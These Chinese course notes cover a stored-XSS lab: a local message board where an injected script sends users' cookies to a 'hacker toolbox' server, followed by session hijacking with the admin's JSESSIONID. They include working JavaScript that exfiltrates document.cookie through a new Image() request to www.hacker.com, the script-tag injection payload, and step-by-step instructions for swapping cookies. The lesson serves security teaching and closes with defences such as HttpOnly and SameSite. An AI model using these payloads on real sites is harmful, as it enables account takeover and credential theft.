课程笔记:XSS攻击窃取Cookie
课程名称:计算机网络应用 核心摘要:本讲聚焦 XSS 攻击的进阶应用——通过在留言系统中植入恶意 JS 脚本窃取用户 Cookie,并绕过浏览器同源策略将 Cookie 发送至黑客工具箱,最终利用窃取的 JSESSIONID 实现免登录获取管理员权限。重点对比 AJAX 直传失败与 Image 标签绕过同源策略两种方案。
一、 核心概念与原理
- XSS 攻击(跨站脚本攻击):攻击者向 Web 页面植入恶意 JavaScript 脚本,当其他用户加载该页面时,脚本在用户浏览器中执行,从而窃取敏感信息。
- Cookie:用户登录 Web 应用的身份凭证,保存于浏览器端,包含
JSESSIONID等会话标识。 - 同源策略(Same-Origin Policy):浏览器安全机制,限制一个源(协议+域名+端口)下的脚本向另一个源发送 AJAX 请求;域名不同即视为跨域。
- 会话劫持(Session Hijacking):黑客拿到用户 Cookie(尤其
JSESSIONID)后,可绕过登录系统,直接以该用户身份访问应用,获取对应权限。 - 跨域绕过原理:HTML 标签(如
<img>)加载外部资源不受同源策略限制,可借此将数据以请求参数形式发送至黑客服务器。
二、 技术细节与协议分析
2.1 攻击角色与域名映射
| 角色 | 域名 | 实际指向 | 说明 |
|---|---|---|---|
| 教育系统(靶站) | www.edu.com | 127.0.0.1 | 留言系统,管理员查看留言 |
| 黑客工具箱 | www.hacker.com | 127.0.0.1 | 接收并存储 Cookie 的接收平台 |
两个域名通过本地
hosts文件均绑定至127.0.0.1,指向同一项目的不同 Controller;真实场景中靶站与黑客服务器分属不同公网 IP。
2.2 攻击完整流程
┌─────────┐ ①植入恶意JS ┌──────────┐ ②管理员查看留言 ┌──────────┐
│ 黑客 │ ──────────────▶ │ 留言系统 │ ◀──────────────── │ 管理员 │
└─────────┘ └──────────┘ └──────────┘
│ ③触发恶意脚本执行 │
▼ │
┌──────────┐ │
│ 浏览器端 │ │
│ 获取Cookie│ │
└─────┬────┘ │
│ ④发送Cookie │
▼ │
┌──────────┐ │
│ 黑客工具箱│ ◀────────────────────────┘
│ 存储Cookie│
└─────┬────┘
│ ⑤黑客取出Cookie
▼
┌──────────┐
│ 替换浏览器 │ ⑥以管理员身份免登录访问
│ Cookie │
└──────────┘
2.3 方案对比:AJAX 直传 vs Image 标签绕过
| 对比项 | 方案一:AJAX(hacker.js) | 方案二:Image 标签(hacker2.js) |
|---|---|---|
| 实现方式 | XMLHttpRequest 发送 GET 请求 | new Image() 设置 src 属性 |
| 同源策略 | 被拦截(跨域请求失败) | 可绕过(图片加载不受限) |
| Network 状态 | 请求标红,状态异常 | 返回 200,请求成功 |
| 控制台报错 | Cross-Origin ... policy 跨域策略错误 | 无报错 |
| 是否可用 | 不可用 | 可用 |
三、 实践应用与配置命令
3.1 失败方案:AJAX 直传 Cookie(hacker.js)
// hacker.js —— 因同源策略被浏览器拦截,无法成功发送
var xhr = new XMLHttpRequest(); // 创建 AJAX 对象(最原始方式,兼容未知前端框架)
xhr.open("GET", "http://www.hacker.com:端口/hackerController/save?url="
+ window.location + "&c=" + document.cookie); // 目标URL拼接cookie参数
xhr.send(); // 发送请求 —— 跨域失败
失败原因:
www.edu.com页面中的 AJAX 指向www.hacker.com,域名不同触发浏览器同源策略拦截。
3.2 成功方案:Image 标签绕过同源策略(hacker2.js)
// hacker2.js —— 利用 <img> 标签不受同源策略限制的特性
function steal() {
var img = new Image(); // 创建图片对象
img.src = "http://www.hacker.com/hackerController/save"
+ "?url=" + window.location // 参数1:当前页面URL
+ "&c=" + document.cookie; // 参数2:窃取的Cookie
}
steal(); // 浏览器加载图片即发送请求
原理:浏览器加载图片资源时不受同源策略约束,构造
src即可携带 Cookie 参数向黑客服务器发起 GET 请求。
3.3 植入留言系统的 Payload
<script src="http://www.hacker.com/script/hacker2.js"></script>
- 通过留言框提交该脚本;若留言框有长度限制,可将
maxlength改大(如600)或使用在线短链接工具缩短 Payload。 - 静态脚本路径写
script/hacker2.js即可,static前缀无需写出。
3.4 黑客工具箱接口设计
| 接口 | 方法 | 作用 |
|---|---|---|
hackerController/save | GET | 存:接收并保存窃取的 Cookie 信息 |
hackerController/get | GET | 取:取出已保存的 Cookie 列表 |
3.5 利用 Cookie 实现免登录操作步骤
- 从黑客工具箱
get接口取出窃取的JSESSIONID值; - 打开 Firefox(或其他浏览器)访问
www.edu.com; - 按
F12打开开发者工具 → 存储/Application → Cookies; - 将当前
JSESSIONID替换为管理员的真实值 → 保存; - 右键刷新页面,无需登录即以管理员身份访问系统。
关键点:Cookie 中的
JSESSIONID即为会话凭证,替换后即盗用管理员身份。
四、 重点与难点提示
- 重点:理解 XSS 攻击窃取 Cookie 的完整链路(植入→触发→窃取→回传→利用)。
- 难点:同源策略的限制范围——AJAX 受限,而
<img>、<script>等标签加载外部资源不受限,是绕过的关键。 - 易错点:
- AJAX 直传 Cookie 会被浏览器跨域策略拦截,并非脚本写错,而是安全机制所致。
- 窃取的
JSESSIONID必须是目标用户的,而非当前浏览器自己生成的。 - 留言框长度限制可能导致 Payload 截断,需调整
maxlength或使用短链接。
- 面试题:
- XSS 攻击如何绕过浏览器同源策略窃取 Cookie?
- 为什么用
Image对象可以绕过同源策略而XMLHttpRequest不行? - 窃取 Cookie 后如何实现会话劫持?
- 如何防御 XSS 窃取 Cookie 攻击(提示:
HttpOnly、Secure、SameSite属性)?
五、 课后疑问/遗留问题
- 如何从防御角度阻止 XSS 窃取 Cookie?
HttpOnly属性如何让 JS 无法读取 Cookie? SameSite属性的Strict/Lax/None三种取值对跨站请求的限制区别是什么?- 下一讲将讲解反射型 XSS 攻击,与本次存储型 XSS 有何异同?